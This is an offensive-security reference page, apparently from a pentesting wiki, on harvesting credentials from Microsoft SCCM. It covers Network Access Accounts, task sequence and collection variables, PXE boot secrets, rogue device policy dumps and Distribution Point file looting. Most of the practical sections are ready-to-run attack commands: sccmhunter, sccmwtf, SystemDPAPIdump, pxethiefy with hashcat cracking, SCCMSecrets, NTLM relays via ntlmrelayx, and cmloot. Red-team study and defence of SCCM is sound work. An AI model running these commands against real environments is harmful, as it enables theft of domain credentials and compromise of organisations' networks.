Credential Harvesting
Recovering SCCM credentials from clients, policies and distribution points
Theory
Several SCCM components hold credentials a low-privileged account can reach. They fall into three groups:
| Source | Holds | Access typically needed |
|---|---|---|
| Secret policies | Network Access Accounts, task sequences, collection variables | a domain account, or local access to a client |
| PXE/OSD | boot media and deployment credentials | network access to the PXE service |
| Distribution Points | files referenced by policies: scripts, configs, certificates | any domain account, sometimes none |
Practice
The following SCCM components can be found on SCCM clients and may contain credentials
- Device Collection variables
- TaskSequence variables
- Network Access Accounts (NAAs)
- Client Push Accounts
- Application & Scripts (potentially)
Find more details about these components in this blog post.
Network Access Accounts (NAAs)
NAAs are manually created domain accounts used to retrieve data from the SCCM Distribution Point (DP) if the machine cannot use its machine account. Typically, when a machine has not yet been registered in the domain. To do this, the SCCM server sends the NAA policy to the machine, which will store the credentials encrypted by DPAPI on the disk. The credentials can be retrieved by requesting the WMI class in the CIM store in a binary file on the disk.
NAA doesn't need to be privileged on the domain, but it can happen that administrators give too many privileges to these accounts.
It is worth to note that, even after deleting or changing the NAA in the SCCM configuration, the binary file still contains the encrypted credentials on the enrolled computers.
SystemDPAPIdump
From UNIX-like systems, with administrative privileges over a device enrolled in the SCCM environment, SystemDPAPIdump.py (Python) can be used to decipher via DPAPI the WMI blob related to SCCM and retrieve the stored credentials. Additionally, the tool can also extract SYSTEM DPAPI credentials.
SystemDPAPIdump.py -creds -sccm $DOMAIN/$USER:$PASSWORD@target.$DOMAINManually
The sccmwtf / SCCMHunter http route only recovers Network Access Account secrets and may fail on recent SCCM builds, where the policy secret encryption changed. On modern hierarchies prefer the DPAPI, PXE/OSD or Distribution Point routes below.
On the other hand, it is possible, from a controlled computer account, to manually request the SCCM policy and retrieve the NAAs inside.
The tool author (Adam Chester) warns not to use this script in production environments.
Step 1: Gain control over a computer account password.
For this step, it is possible to create a new computer account (if permited by the domain policy), instead of compromise a domain computer.
addcomputer.py -dc-ip $DC -computer-name controlledComputer$ -computer-pass controlledPassword $DOMAIN/$USER:$PASSWORDStep 2: Use sccmwtf.py to extract NAA secrets
A controlled computer account is needed to send the authenticated request (this is why a computer account has been created previously) to retrieve the policy, but the account to spoof doesn't need to be the same.
Here, $SCCM_MP_NetBiosName takes the value of the SCCM Management Point server NETBIOS name.
sccmwtf.py fakepc fakepc.$DOMAIN $SCCM_MP_NetBiosName "$DOMAIN\controlledComputer$" "controlledPassword"Step 3: Obtain obfuscated NAA secrets
The obufscated NAA secrets will be saved in a local file.
cat /tmp/naapolicy.xmlValues to decode are the long hexadecimal strings in the CDATA sections (<![CDATA[String_here]).
Step 4: Decode obfuscated strings
To decode username and password use .\DeobfuscateSecretString.exe contained in SharpSCCM or sccmwtf
policysecretdecrypt.exe $HEX_STRINGSCCMHunter
HTTP
Alternatively, sccmhunter (Python) automates all the attack with, or without, an already controlled computer accounts. For this purpose, the http module uses the result from the find command and enumerates the remote hosts for SCCM/MECM enrollment web services. If it finds one, it performs Adam Chester's attack for the specified computer account. If no account is already under control, the -auto flag can be indicated to create a new computer account.
#Create a new computer account and request the policies
python3 sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -auto
#To use an already controlled computer account
python3 sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -cn $COMPUTER_NAME -cp $COMPUTER_PASSWORD -dc-ip $DC_IPDPAPI
sccmhunter (Python) DPAPI's module can also be used, with valid credentials for a local administrator on the target system, to remotely extract NAA credentials located in the local WMI repository.
# Extracting from WMI repository root\ccm\policy\Machine\ActualConfig namespace:
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET_IP -wmi
# Extracting from WMI repository OBJECTS.DATA file:
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET_IP -diskTaskSequence variables
TaskSequence are steps that can be configured by an administrator to perform specific actions, for example "Sequence for adding a machine to the domain". Think of it as a script that runs. These TaskSequences can contain variables that can contain credentials. These sequences can use device collection variables (presented in the next section) as conditions.
From UNIX-like systems, with administrative privileges over a device enrolled in the SCCM environment, sccmhunter (Python) can be used to extract the TaskSequence variables remotely.
# Extracting from WMI repository root\ccm\policy\Machine\ActualConfig namespace:
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET_IP -wmi
# Extracting from WMI repository OBJECTS.DATA file:
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET_IP -diskDevice Collection variables
Devices enrolled in an SCCM environment can be grouped by collection. These exist by default, but administrators can create custom collections (for example "Server 2012 devices"), and add variables for these collections that will be used, for example, during application deployement to check some conditions. These variables may very well contain credentials and be found locally on the clients.
From UNIX-like systems, with administrative privileges over a device enrolled in the SCCM environment, sccmhunter (Python) can be used to extract the TaskSequence variables remotely.
# Extracting from WMI repository root\ccm\policy\Machine\ActualConfig namespace:
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET_IP -wmi
# Extracting from WMI repository OBJECTS.DATA file:
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET_IP -disk (1) (1) (1) (1).png)
PXE/OSD (Operating System Deployment)
Credential harvesting
The Pre-Boot Execution Environment (PXE) is a mechanism for booting a computer over the network. Specifically, instead of booting from a CD drive, USB key or hard disk and finding the boot program, the PC will use the network to read such a program from the PXE server.
Several secrets could be retreived from Operating System Deployment (OSD)
- Collection variables
- Account to write image to SMB share
- Account to pull files from SMB share
- Set local admin password
- Run arbitrary command
- Account to join the domain (Apply Network Settings)
No Password
Without PXE password protection, we can use pxethiefy.py (Python) as follow, to extract secrets from the Operating System Deployment.
sudo python3 pxethiefy.py explore -i eth0Password Protected
If a PXE password is set, we can use pxethiefy.py (Python) as follow. It will automaticly download encrypted files and extract the hash.
sudo python3 pxethiefy.py explore -i eth0We can then try to crack it using Christopher Panayi’s hashcat module.
# Seting up Hashcat
cd /workspace
git clone https://github.com/hashcat/hashcat.git
git clone https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module
cp configmgr-cryptderivekey-hashcat-module/module_code/module_19850.c hashcat/src/modules/
cp configmgr-cryptderivekey-hashcat-module/opencl_code/m19850* hashcat/OpenCL/
cd hashcat
git checkout -b v6.2.5 tags/v6.2.5
make
# Crack the hash
hashcat/hashcat -m 19850 --force -a 0 /workspace/pxe_hash /usr/share/wordlists/rockyou.txtDecrypt the file using the found password
pxethiefy.py decrypt -p "password" -f ./2023.05.05.10.43.44.0001.{85CA0850-35DC-4A1F-A0B8-8A546B317DD1}.boot.varMisconfiguration
If "Enable command support" is enabled, we can spawn a shell during OS deployment by pressing F8.
.png)
Secret policies (rogue device)
Rather than decrypting a single NAA blob, SCCMSecrets.py (Python) registers a rogue device with the Management Point and pulls all the secret policies it is served (NAAs, task sequences, collection variables). See Synacktiv's SCCMSecrets.py write-up.
# Register a new device and dump the secret policies (HTTP)
python3 SCCMSecrets.py policies -mp "http://$MP_IP" -u "$MACHINE_NAME" -p "$MACHINE_PASSWORD" -cn "newdevice"
# HTTPS with a client certificate
python3 SCCMSecrets.py policies -mp "https://$MP_IP" -u "$MACHINE_NAME" -p "$MACHINE_PASSWORD" -cn "newdevice" --pki-cert ./cert.pem --pki-key ./key.pem
# Reuse an already-compromised device (its key.pem + guid.txt live in compromised_device/)
python3 SCCMSecrets.py policies -mp "http://$MP_IP" --use-existing-device compromised_device/The device-registration request can also be obtained by NTLM relay (CRED-8): coerce a machine account and relay it to the Management Point policy endpoint.
ntlmrelayx.py -t 'http://mecm.sccm.lab/ccm_system_windowsauth/request' -smb2support --sccm-policies -debugDistribution Point resources
Policies reference resources hosted on a Distribution Point: applications and OS images, but also configuration files, PowerShell scripts, certificates and anything else that may carry credentials.
By default any authenticated domain user can retrieve them, which makes this one of the cheapest wins in an SCCM environment. Distribution Points serve over SMB and HTTP.
Administrators sometimes misconfigure a Distribution Point to allow anonymous access. That only works over HTTP: retrieving resources over SMB always requires authentication, even when anonymous access is configured.
A Distribution Point may also enforce HTTPS, in which case client certificate authentication with a domain PKI certificate is required.
HTTP
SCCMSecrets.py (Python) indexes and downloads files from Distribution Points. Omitting credentials attempts the anonymous-access path; HTTPS and client authentication are both supported.
# Try anonymous access to index and download files
python3 SCCMSecrets.py files -dp http://$DP_IP
# Download only interesting extensions
python3 SCCMSecrets.py files -dp http://$DP_IP -u "$USER" -H "$HASH" \
--extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'
# Having indexed first, download a specific set
python3 SCCMSecrets.py files -dp http://$DP_IP -u "$USER" -p "$PASSWORD" --urls to_download.lst
# Over HTTPS with client certificate authentication
python3 SCCMSecrets.py files -dp https://$DP_IP -u "$USER" -p "$PASSWORD" \
--pki-cert ./cert.pem --pki-key ./key.pemWhere anonymous access is enabled, sccm-http-looter (Go) does the same job and is typically faster.
./sccm-http-looter -server 10.10.10.10The attack also works through NTLM relay when a domain account's authentication can be relayed.
ntlmrelayx.py -t 'http://mecm.sccm.lab/sms_dp_smspkg$/Datalib' -smb2support --sccm-dp -debugSMB
cmloot.py (Python) dumps files over SMB.
# Enumerate SCCM servers, build an inventory and download
python3 cmloot.py $DOMAIN/$USER@$TARGET -findsccmservers \
-target-file sccmhosts.txt -cmlootdownload sccmfiles.txt